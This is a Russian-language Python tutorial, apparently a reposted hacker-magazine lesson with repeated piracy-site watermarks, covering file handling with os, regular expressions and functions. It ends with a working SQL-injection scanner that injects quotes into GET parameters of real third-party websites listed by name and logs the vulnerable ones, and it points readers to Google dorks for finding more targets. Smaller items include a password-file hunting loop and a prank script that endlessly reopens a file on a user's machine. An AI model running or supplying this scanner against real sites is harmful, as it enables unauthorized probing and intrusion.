Skip to content

Работаем с ОС, изучаем регулярные выражения и функции

Сегодня мы поработаем с файловой системой ОС — научимся ходить по каталогам, открывать и изменять файлы. Затем освоим могущественные заклинания под названием «регулярные выражения», изучим тонкости создания и вызова функций и под конец напишем простенький сканер SQL-уязвимостей. И все это в одном недлинном уроке!

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Работаем с файлами

Начнем, как всегда, с несложных вещей. В Python есть модуль с лаконичным названием os, который (ты не поверишь!) предназначен для взаимодействия программы с операционной системой, в том числе для управления файлами.

Первым делом, конечно, нужно импортировать его в начале нашего скрипта:

import os

И теперь нам открываются разные интересные возможности. К примеру, мы можем получить путь к текущей папке. Сначала она совпадает с той, в которой ты был при запуске скрипта (даже если сам скрипт находится где‑то в другом месте), но по ходу исполнения программы мы можем менять это значение при помощи функции os.chdir().

# Возвращает путь к текущей рабочей папке pth=os.getcwd() print(pth) # Устанавливает путь к текущей рабочей папке, в данном случае это диск D:/ os.chdir(r'D:/')

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

info

Если ты работаешь в Windows, то в пути к файлу или папке перед открывающей кавычкой указывай букву r (что означает raw) или вместо одной косой черты в пути ставь две.

Попробуем получить список файлов с расширением .py, находящихся в текущей директории. Для этого используем модули os и fnmatch.

import os import fnmatch # В цикле, с помощью os.listdir('.') получим список файлов # в текущей директории (точка в скобках как раз ее и обозначает) for fname in os.listdir('.'): # Если у текущего имени файла расширение .py, то печатаем его if fnmatch.fnmatch(fname, '*.py'): print(fname)

Модуль fnmatch позволяет искать в строках определенный текст, подходящий по маске к заданному шаблону:

  • * заменяет любое количество любых символов;
  • ? заменяет один любой символ;
  • [seq] заменяет любые символы из последовательности в квадратных скобках;
  • [!seq] заменяет любые символы, кроме тех, что присутствуют в квадратных скобках.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Давай безжалостно удалим какой‑нибудь файл:import os (os.remove(r'D:\allmypasswords.txt'))

Переименуем файл:

import os os.rename('lamer.txt','xakep.txt')

А теперь создадим папку по указанному пути и сразу же удалим ее. Для этого пригодится модуль shutil, где есть функция rmtree(), которая удаляет папку вместе с содержимым.

import os import shutil os.makedirs(r'D:\secret\beer\photo') # Создает все папки по указанному пути shutil.rmtree(r'D:\secret\beer\photo') # Удаляет папку вместе с ее содержимым

Допустим, ты хочешь получить список всех файлов, содержащихся в папках по указанному пути (учитывая вложенные папки тоже), чтобы найти что‑то интересное. Скрипт будет выглядеть следующим образом:

import os for root, dirs, files in os.walk(r'D:'): for name in files: fullname = os.path.join(root, name) print(fullname) if('pass' in fullname): print('Бинго!!!')

Функция walk() модуля os принимает один обязательный аргумент — имя каталога. Она последовательно проходит все вложенные каталоги и возвращает объект‑генератор, из которого получают:

  • адрес очередного каталога в виде строки;
  • список имен подкаталогов первого уровня вложенности для данного каталога;
  • список имен файлов данного каталога.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим info

Генератор — это объект, который сразу при создании не вычисляет значения всех своих элементов. Этим генераторы отличаются от списков — те хранят в памяти все свои элементы, и удалить их можно только программно. Вычисления с помощью генераторов называются ленивыми, они экономят память. Подробнее мы рассмотрим генераторы в следующих уроках.

Сейчас покажу, как узнать размер любого файла, а также дату его модификации.

import os.path # Модуль для преобразования даты в приемлемый формат from datetime import datetime path = r'C:\Windows\notepad.exe' # Получим размер файла в байтах size = os.path.getsize(path) # А теперь в килобайтах # Две косые черты — это целочисленное деление ksize = size // 1024 atime = os.path.getatime(path) # Дата последнего доступа в секундах с начала эпохи mtime = os.path.getmtime(path) # Дата последней модификации в секундах с начала эпохи print ('Размер: ', ksize, ' KB') print ('Дата последнего использования: ', datetime.fromtimestamp(atime)) print ('Дата последнего редактирования: ', datetime.fromtimestamp(mtime))

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

info

Для операционных систем Unix 1 января 1970, 00:00:00 (UTC) — точка отсчета времени, или «начало эпохи». Чаще всего время в компьютере вычисляется в виде прошедших с этого момента секунд и лишь затем переводится в удобный для человека вид.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Давай пошутим над юзером: создадим какой‑нибудь файл и будем постоянно его открывать с помощью той программы, которой этот файл обычно открывается в системе:import os # Модуль time понадобится для паузы, чтобы не слишком часто открывалось import time # Создаем текстовый файл f=open('beer.txt','w',encoding='UTF-8') f.write('СРОЧНО НАЛЕЙТЕ ХАКЕРУ ПИВА, ИНАЧЕ ЭТО НЕ ЗАКОНЧИТСЯ!!') f.close() while True: # Открываем файл программой по умолчанию os.startfile('beer.txt') # Делаем паузу в одну секунду time.sleep(1)

Ниже приведен список еще некоторых полезных команд:

  • os.path.basename('путь') — возвращает название файла или папки в конце пути;
  • os.path.dirname('путь') — возвращает родительский путь к объекту пути;
  • os.path.splitext('путь') — разделяет путь на путь и расширение файла;
  • os.path.exists('путь') — существует ли путь до файла или папки;
  • os.path.isfile('путь') — является ли объект пути файлом (существующим);
  • os.path.isdir('путь') — является ли объект пути папкой (существующей).

Регулярные выражения

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Регулярные выражения — это специальные шаблоны для поиска и замены строк в тексте. Вообще говоря, их вполне можно считать самостоятельным языком, и его изучение выходит за рамки этого цикла. Мы пройдемся по самым основам и по использованию регулярок в Python.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

За работу с регулярными выражениями в Python отвечает модуль re. Первым делом импортируем его.import re

В качестве простейшего паттерна мы можем использовать какое‑нибудь слово. Пусть по традиции это будет «пиво»:

import re pattern = r"пиво" string = "Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян." result = re.search(pattern, string) print(result.group(0))

Команда re.search(pattern,string) ищет в тексте string первое вхождение шаблона pattern и возвращает группу строк, доступ к которым можно получить через метод .group(). Но команда search ищет только первое вхождение шаблона. Поэтому в нашем случае вернется всего один результат — слово «пиво», несмотря на то что в нашем тексте оно присутствует дважды.

Чтобы вернуть все вхождения шаблона в текст, используется команда re.findall(pattern, string). Эта команда вернет список строк, которые присутствуют в тексте и совпадают с шаблоном.

import re pattern = r"пиво" string = "Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян." result = re.findall(pattern, string) print(result)

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

info

Обрати внимание, что шаблоны в регулярных выражениях имеют буковку r перед началом строки. Это так называемые сырые строки, в которых не работает символ экранирования с помощью обратного слеша \. При этом «сырая» строка не может заканчиваться этим символом.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

В предыдущих двух примерах программ в качестве шаблона pattern для поиска строк ты использовал просто какое‑то слово. Но мощь регулярных выражений не в этом. Ты можешь заменять части шаблона специальными символами, чтобы под шаблон подходили не только конкретные слова, но и самые разные строки.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Давай, например, попробуем найти в тексте все слова, которые начинаются с «пи». Для этого используем специальный символ \b — он означает «начало слова». Сразу после него указываем, с чего должно начинаться слово, и напишем специальный символ w, который означает, что дальше в шаблоне должны идти какие‑то буквы (плюс означает, что их может быть одна или больше) до тех пор, пока не встретится небуквенный символ (например, пробел или знак препинания). Шаблон будет выглядеть так: r"\bпи\w+".import re pattern = r"\bпи\w+" string = "Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян." result = re.findall(pattern, string) print(result)

[Краткая справка по специальным символам

Краткая справка по специальным символам

](http://0.0.0.0:1025/03%20Python%20%D1%81%20%D0%B0%D0%B1%D1%81%D0%BE%D0%BB%D1%8E%D1%82%D0%BD%D0%BE%D0%B3%D0%BE%20%D0%BD%D1%83%D0%BB%D1%8F.%20%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D0%B5%D0%BC%20%D1%81%20%D0%9E%D0%A1,%20%D0%B8%D0%B7%D1%83%D1%87%D0%B0%D0%B5%D0%BC%20%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D0%B5%20%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F%20%D0%B8%20%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8%20%E2%80%94%20%C2%AB%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%C2%BB_files/re.png)

Давай попробуем выполнить чуть более сложную задачу. Найдем в тексте все email с доменом mail.ru, если они там есть.

import re pattern = r"\b\w+@mail\.ru" string = "Если вы хотите связаться с админом, пишите на почту admin@mail.ru. По другим вопросам обращайтесь на support@mail.ru." result = re.findall(pattern, string) print(result)

Как видишь, мы использовали тот же трюк, что и в прошлый раз, — написали специальный символ \b, чтобы обозначить начало слова, потом \w+, что значит «одна или больше букв», а затем @mail.ru, заэкранировав точку, поскольку иначе она будет означать «любой символ».

Часто бывает нужно найти какой‑то элемент строки, окруженный двумя другими элементами. Например, это может быть URL. Чтобы выделить ту часть шаблона, которую нужно вернуть, используются скобки. Приведу пример, в котором ты получишь все адреса ссылок из какого‑то кусочка кода на HTML.

import re string = 'Вы можете посмотреть карту сайта <a href="map.php">тут</a>. Посетите также <a href="best.php"раздел</a>' pattern = r'href="(.+?)"' result = re.findall(pattern,string) print(result)

В коде выше использовался паттерн r'href="(.+?)" — в этом шаблоне искомая строка начинается с href=" и заканчивается еще одной двойной кавычкой. Скобки нужны для того, чтобы указать, какую часть подходящей под шаблон строки ты хочешь получить в переменную result. Точка и плюс внутри скобок указывают, что внутри кавычек могут быть любые символы (кроме символа новой строки). Знак вопроса означает, что нужно остановиться перед первой же встреченной кавычкой.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

info

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Знак вопроса в регулярных выражениях используется в двух немного разных смыслах. Если он идет после одного символа, это значит, что символ может присутствовать или не присутствовать в строке. Если же вопросительный знак идет после группы символов, это означает «нежадный» (non-greedy) режим: такая регулярка будет стараться захватить как можно меньше символов.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Мы можем не только искать строки, но и заменять их чем‑то другим. Например, давай попробуем удалить из HTML-кода все теги. Для этого используется команда re.sub(pattern,'чем заменять',string).import re string = 'Вы можете посмотреть карту сайта <a href="map.php">тут</a>. Посетите также <a href="best.php"раздел</a>' pattern = r'<(.+?)>' result = re.sub(pattern,'',string) print(result)

Программа напечатает строку уже без тегов, так как мы заменили их пустой строкой.

Регулярные выражения — очень мощная штука. Освоив их, ты сможешь делать со строками почти все, что угодно, а в сочетании с кодом на Python — буквально что угодно. Для начала же можешь поэкспериментировать и изменить какие‑то из приведенных рецептов.

Функции

Пришла пора подробнее поговорить о функциях. Мы уже неоднократно вызывали разные функции — как встроенные в Python (например, print()), так и из подключаемых модулей (например, urllib.request()). Но что такое функция изнутри и как их делать самостоятельно?

Представь, что у тебя есть какой‑то набор команд, которые нужно выполнять несколько раз, изменяя лишь входные данные. Такие блоки команд обычно выносят в отдельные кусочки программы.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

У функции могут быть входные параметры — это одна или несколько переменных, которые пишутся в скобках после имени функции. При вызове функции ты можешь передать ей аргументы для этих параметров. Некоторые из параметров могут быть необязательными или иметь значение по умолчанию — на случай, если его не передадут.

Объявление функции начинается с ключевого слова def, далее следует имя функции, параметры в скобках и программный код, отделенный четырьмя пробелами. Функция может возвращать одно или несколько значений с помощью ключевого слова return. Оно, кстати, прекращает работу функции, и, если за ним идут какие‑то команды, они будут пропущены.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Для примера разберем простейшую функцию, которая будет принимать в качестве аргументов два любых числа и перемножать их, возвращая результат умножения. Назовем ее umn.def umn(a, b): c = a * b return c

Теперь, когда ты описал функцию, далее в этой же программе можно ее вызывать.

a = int(input('Введите первое число: ')) b = int(input('Введите второе число: ')) с = umn(a, b) print(c)

Иногда надо задать один из параметров как необязательный, установив для него значение по умолчанию.

def umn(a, b=10): c = a * b return c

Теперь если ты вызовешь функцию и не передашь ей второй аргумент, то она просто будет считать его равным десяти, то есть будет умножать любое переданное число на десять.

с=umn(5) print(c)

Несмотря на то что параметр b в данном случае равен по умолчанию 10 и необязателен для передачи в качестве второго аргумента, ты по‑прежнему можешь передавать второй аргумент, если это будет нужно, и тогда в качестве b будет использовано не 10, а переданное значение.

с=umn(5, b=20) print(c)

Внутри программы мы можем вызывать созданную нами функцию сколько угодно раз.

Давай создадим программу, которая будет считать прибавку к зарплате за каждую уязвимость, которую хакер нашел на работе. У каждого хакера будет своя зарплата, в зависимости от его ранга, но начисление прибавки для всех работает по принципу «+2% к базовой зарплате за уязвимость, если таких уязвимостей найдено больше чем три».

Сделаем функцию, которая принимает в качестве аргументов размер зарплаты сотрудника и количество найденных уязвимостей. Для округления результата используем функцию round(), которая округлит прибавку до целого числа.

def pribavka(zarplata, bugs): k = 0 if bugs > 3: k = round((bugs - 3) * 0.02 * zarplata) return k a = int(input('Введите зарплату сотрудника: ')) b = int(input('Введите количество найденных им уязвимостей за месяц: ')) c = pribavka(a, b) print('В этом месяце прибавка к зарплате составит: ' + str(c))

Если функция должна возвращать больше одного значения, то можно перечислить их через запятую.

def myfunc(x): a = x + 1 b = x * 2 return a, b

Функция будет возвращать список, но мы можем сразу присвоить возвращаемые значения каким‑нибудь переменным:

plusone, sum = myfunc(5)

Внутри функций вполне можно использовать переменные, которые встречались в коде программы до вызова функции. Но если внутри кода функции задать переменную с таким же именем, то эта переменная автоматически станет локальной и все дальнейшие изменения будут происходить с ней только в пределах функции.

Поясню на примере:

def boom(a, b): z = 15 c = a * b * z return c z = 1 c = boom(15, 20) print(z)

В результате выполнения программы ты увидишь единицу. Почему? Внутри кода функции мы присвоили переменной z значение 15, и она стала локальной, и все изменения с ней будут происходить внутри функции, тогда как в основной программе ее значение будет по‑прежнему равно единице.

Это немного трудно понять, но на самом деле удобно. Если ты пишешь несколько похожих функций, то вполне можешь использовать внутри них одинаковые названия локальных переменных, не опасаясь, что они будут влиять как‑то друг на друга.

Переменные, объявленные вне функций, называются глобальными. Если ты хочешь изнутри функции изменить одну из них, то объяви ее внутри функции, использовав ключевое слово global.

def addfive(num): global a a += num a = 5 addfive(3) print(a)

Эта программа напечатает 8. Обрати внимание, что мы ничего не возвращали через return, а просто изменили глобальную переменную. Кстати, функция, в которой ничего не возвращается через return, будет возвращать значение None.

a = 5 print(addfive(3))

На экране выведется слово None. Это бывает полезно, если функция возвращает что‑то только при выполнении каких‑то условий, а если они не выполнены, то выполнение не доходит до return. Тогда можно проверить, не вернула ли она None.

def isoneortwo(num): if(num==1): return 'Один' if(num==2): return 'Два' print(isoneortwo(1)) print(isoneortwo(2)) print(isoneortwo(3))

Эта функция проверяет, равно ли значение единице или двойке, и если не равно, то вернет None. Это можно дальше проверить при помощи if:

if isoneortwo(3) is None: print("Не 1 и не 2!")

Итак, мы научились создавать функции, вызывать их и возвращать из них параметры, а также использовать внутри функций глобальные переменные. С этого момента мы уже можем браться за относительно сложные примеры!

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Практика: проверка SQL-уязвимостей

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

На этот раз мы создадим скрипт, который будет искать SQL-уязвимости по разным URL. Заранее создадим файл urls.txt, в каждой строчке которого будут адреса сайтов, содержащие GET-параметры. Например:http://www.taanilinna.com/index.php?id=325 https://www.925jewellery.co.uk/productlist.php?Group=3&pr=0 http://www.isbtweb.org/index.php?id=1493

Напишем скрипт, который получает список подобных URL из нашего файла и добавляет в каждый из GET-параметров знак кавычки, пытаясь вызвать ошибки SQL баз данных.

import re, requests, os, time # Список регулярных выражений, свидетельствующих, что на веб-странице есть SQL-уязвимость sql_errors = { "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"MySQL Query fail.*", r"SQL syntax.*MariaDB server"), "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"Warning.*PostgreSQL"), "Microsoft SQL Server": (r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*odbc_.*", r"Warning.*mssql_", r"Msg \d+, Level \d+, State \d+", r"Unclosed quotation mark after the character string", r"Microsoft OLE DB Provider for ODBC Drivers"), "Microsoft Access": (r"Microsoft Access Driver", r"Access Database Engine", r"Microsoft JET Database Engine", r".*Syntax error.*query expression"), "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Warning.*oci_.*", "Microsoft OLE DB Provider for Oracle"), "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error"), "SQLite": (r"SQLite/JDBCDriver", r"System.Data.SQLite.SQLiteException"), "Informix": (r"Warning.*ibase_.*", r"com.informix.jdbc"), "Sybase": (r"Warning.*sybase.*", r"Sybase message") } # Функция, которая получает HTML-код веб-страницы и проверяет его на наличие ключевых слов, # свидетельствующих о наличии SQL-инъекции, возвращает две переменные — True/False и тип уязвимой базы данных def checksql(html): for db, errors in sql_errors.items(): for error in errors: if re.compile(error).search(html): return True, db return False, None # Открываем файл, откуда будем брать URL, которые нужно проверить f = open('urls.txt', 'r', encoding='UTF-8') # Открываем файл, куда будем записывать найденные уязвимые URL f2 = open('good.txt', 'w', encoding='UTF-8') # Функция для тестирования URL на уязвимость: подставляем одинарную кавычку в GET-параметры def checkcheck(url): # Заменяем в URL значок & между параметрами, добавляя перед ним одинарную кавычку x = url.replace("&", "'&") # Очищаем URL от пробелов по обеим сторонам ur = x.strip() # Если вначале нет http, то добавляем его if not(ur[0:4] == 'http'): ur = 'http://' + ur print('Проверяю: ' + ur) try: # Получаем HTML-код по URL s = requests.get(ur + "'") h = s.text # Проверяем на уязвимости a, b = checksql(h) if(a): print('Уязвим для SQL-инъекции: ' + ur) f2.write(f'{ur} - {str(b)}\n') else: print('Уязвимость не найдена: ' + ur) except: print('Ошибка при проверке: ' + ur) pass # Последовательно пробуем URL из файла urls.txt for site in f: checkcheck(site) f.close() f2.close()

В файле goods.txt ты получишь список уязвимых сайтов (или ничего, если таковых не найдется).

Где взять список URL для проверки? Для поиска подобных URL часто используют Google dorks.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Домашнее задание

  1. Усовершенствуй программу, выводящую листинг каталогов, чтобы она отмечала вложенные папки отступами — так, чтобы получилось дерево файлов.
  2. Напиши программу, которая будет открывать заданный файл, при помощи регулярного выражения извлекать из него все адреса электронной почты и сохранять в другой файл, каждый email — на отдельной строке.
  3. Попробуй самостоятельно написать регулярное выражение, которое будет находить все гиперссылки в коде веб‑страницы. Затем поищи готовый вариант такой регулярки в интернете и попробуй разобраться в ее устройстве.
  4. Сделай функцию из программы, которая у тебя получилась при выполнении задания 2 (на входе — путь к файлу, на выходе — список адресов). Затем возьми код от задания 1 и сделай так, чтобы программа обходила каталоги и искала электронные адреса во всех встреченных текстовых файлах.

Скачано с сайта - https://supersliv.biz – Присоединяйся к лучшим

Back to top